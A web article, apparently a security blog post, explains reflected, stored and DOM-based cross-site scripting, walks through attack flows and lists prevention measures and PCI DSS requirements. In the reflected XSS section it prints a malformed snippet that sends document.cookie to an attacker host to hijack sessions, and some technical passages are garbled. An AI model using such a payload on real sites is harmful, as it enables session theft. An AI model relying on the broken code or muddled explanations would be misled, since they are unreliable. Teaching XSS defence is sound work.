There are many different types of vulnerabilities in web applications worldwide. Among these vulnerabilities, there is a commonly known cross-site scripting (XSS) weakness. XSS is a vulnerability type that belongs to the Injection family. The vulnerability is caused by the application allowing user input. For this reason, it is generally seen on many applications. As a result of its abuse, malicious javascript codes can be integrated into an attack mechanism for the end user.
Cross-Site Scripting (XSS) is a vulnerability that occurs when the software does not pass the input received from the user through the necessary HTML and JavaScript filters. Unless the entries pass the required filters, if the user is also an attacker; It can run malicious code that can harm other users or directly to the system. Because HTML, CSS and JavaScript are languages interpreted by the browser, the malicious code written can directly affect other users.
See Also: What is SQL Injection and How to Prevent It?
It is an insidious type of vulnerability that is difficult to notice for the end user. In the exploitation phase, the harmful javascript code is exposed by the end user. In this way, among the most known effects, it can result in taking action within the user’s authority and capturing the user’s session. In order to avoid such situations, developers should control the input they receive from the user.
Security configurations such as a web application firewall (WAF) should be disabled if an automated tool or manual vulnerability detection is planned. Otherwise, it will be difficult to detect existing vulnerabilities. When we look at its general structure, it blocks malicious HTTP requests transmitted to the server.
Against this situation, attackers will resort to methods such as encrypting the inputs to bypass the web application firewall (WAF). It is possible to bypass systems such as web application firewall (WAF), but the people who will make the detection will therefore need to make a little more effort.
Therefore, it is wrong to use it to eliminate a known weakness. It is important that the root cause of the vulnerability is investigated and resolved. For another reason, the source code analysis of the application can be shown as a different reason for preference.
With the updates made by the developers day by day, the number of vulnerabilities increases due to unsafe coding errors. PCI DSS Requirement 6.5.7 requires your organization to protect all web applications, internal application interfaces and external application interfaces from XSS.
What are the Types of Cross-Site Scripting (XSS)?
Reflected Cross-Site Scripting (XSS)
This type of vulnerability is caused by a one-time exposure to input from the user. In this way, the input received from the user is reflected to him. It will be compiled on the browser according to the response from the server against the input received from the user during the trigger. This vulnerability is a server-side vulnerability type.
It is encountered in cases where any input from the user is directly printed on the screen. Since the code (potentially harmful javascript) received from the user as input is not written to the database, it is presented to the user only once by the internet browser (imagine that you click on a link address (URL) sent to you via e-mail or chat program).
The reason it is server-side is that it consists of errors based on the lack of input control of the server-based programming language. An attacker could inject malicious html or javascript code in this direction. Examples of common areas on websites include search, error messages, and preview.
Let’s go step by step:
Step 1: The target website is determined,
Step 2: The XSS code is sent to the victim via e-mail or a communication. Here, instead of giving the link directly from the website, link shortening services can be used. When you click on a link like bit.ly/agd5f, it runs as www.website.com/search.php?get=<script… and your information can be stolen.
Step 3: XSS code runs on the user side and connects to the server,
Step 4: The value from the server is transmitted to the user,
Step 5: Distressed objects run on the web browser,
Step 6: Data is transmitted to the attacker,
Step 7: You’ve probably been hacked.
This XSS type is actually a session stealing attack combined with a phishing attack. So how can it steal session information if you attack? With a method like <script alert = “http: //website.com/attack.php? CookieCal=document.cookie();” it gets session information to its website with the GET parameter. Afterwards, by entering your information in the session information section in his browser, he / she will be logged into the administration panel of your website.
Stored Cross-Site Scripting (XSS)
In this type of vulnerability, the input received from the user is the result of repeated exposure. In this way, the input received from the user is recorded and reflected in a hidden form. It will be compiled on the browser according to the response from the server against the input received from the user during the trigger. This vulnerability is a server-side vulnerability type.
We can say that Stored XSS is the most dangerous type of XSS. Because the input received from the user is stored somewhere instead of printing data on the screen, for example to the database. If Stored XSS is detected, there is no need to send the victim the url with the malicious code as with other XSS types. Since the malicious code is already registered in the database, it runs in the background without the victim even noticing, and is very dangerous.
The reason it is server-side is that it consists of errors based on the lack of input control of the server-based programming language. An attacker could inject malicious html or javascript code in this direction. Examples of frequently seen areas on websites include the guestbook, contact form, messages and comments.
We can explain it step by step and then explain the details.
Step 1: The target website is determined.
Step 2: Harmful codes are injected into the website through the forms on the target website.
Step 3: The retrieved malicious codes are saved in the database without being cleaned.
Step 4: Manager writes on the screen by bringing the information from the database to examine.
Step 5: As soon as the data is written to the screen, the stored javascript codes run.
Step 6: Running javascript codes steal your session information and forward it to the attacker,
Step 7: You’ve probably been hacked.
In this XSS type, you should be aware that you should not save the data from open forms to the database without cleaning them. To explain through the example, you have a contact form that you want to receive information from users.
The attacker typed his message as if he was writing a normal message to you on the contact form and injected a javascript code under the message part. You entered the management panel by typing your username and password. When you print the data from the contact form on the screen, you can see that the normal texts are written on the screen, but the javascipt code injected under it works. Afterwards, the attacker will probably steal your session information and gain access to the same administration panel.
In addition to these, with Stored XSS, you actually give the user the power to run unlimited javascript code. Since it will write the codes in the message field and run it when you want to read it, it means writing lines of javascipt code, then running them to provide a socket connection to your website, and then accessing many data from your information to your database.
Document Object Model (DOM) Based XSS
This type of vulnerability is caused by a one-time exposure to input from the user. In this way, the input received from the user is reflected to him. It will compile on the browser against input received from the user during the trigger.
Dom (Document Object Model) is XSS originating from XSS Doms. Generally, it is the XSS vulnerability that is called DOM XSS when the payload is tried after the # sign and when the page is refreshed, the alert is received.
This vulnerability is a client-side vulnerability type. The reason it is client-side is that it consists of errors based on the lack of input control of the client-based programming language. An attacker could inject malicious html or javascript code in this direction. It can be seen frequently across all domains on websites.
How to Prevent Cross-Site Scripting (XSS) Attacks?
The simplest measure to prevent XSS attacks is to apply filtering in the open part. If we consider the php language, javascript and html tags can be filtered using the strip_tags function. To prevent this attack, the following few measures can be taken:
- Search input can be sterilized to include the appropriate encoding control.
- The web server can be set to forward invalid requests.
- Web server can detect concurrent login and terminate sessions.
- Web server can detect simultaneous login from two different IP addresses and terminate sessions.
- The website can only show a few digits of the previously used credit card number.
- The website may require users to re-enter their password before changing their registration information.
- The website can use many different aspects of the Content Security Policy.
- Users can be trained not to click on “looking safe” but malicious links.
- By marking the cookie with the HttpOnly flag, JavaScript can be blocked from accessing the cookie.
Including the data coming from the forms and included in the page with parameters directly from the URL to the page after passing it through various filters on the backend will eliminate the risk of cross site scripting in your system.
Blocking only characters may not be sufficient in some cases to protect against cross site scripting attacks. For example, when you block the <script> tag, the user can still perform a cross site scripting attack with parameters that allow various javascript execution such as onMouseOver or onLoad to any html code.
To give an example from PHP systems, including the data in the page after passing through functions such as htmlspecialchars, strip_tags, trim will make your site more protected against attacks.
To verify your compliance with PCI DSS Requirement 6.5.7, an evaluator will need to review your application development-related policies and procedures and interview responsible personnel to ensure that your development process addresses validating all parameters and context-sensitive evasion.
PCI DSS Requirement 6.5.7 expects you to have a program to avoid cross-site scripting. From an evaluation perspective, you need to have some sort of whitelist or some kind of character validation to make sure all those escape characters that are stated to cause cross-site scripting are neutralized.
You can find more detailed information about Cross-Site Scripting (XSS) vulnerability on OWASP.
OWASP: Cross Site Scripting (XSS)
 is a vulnerability that occurs when the software does not pass the input received from the user through the necessary HTML and JavaScript filters.){kind=link}
Nice, Very detailed.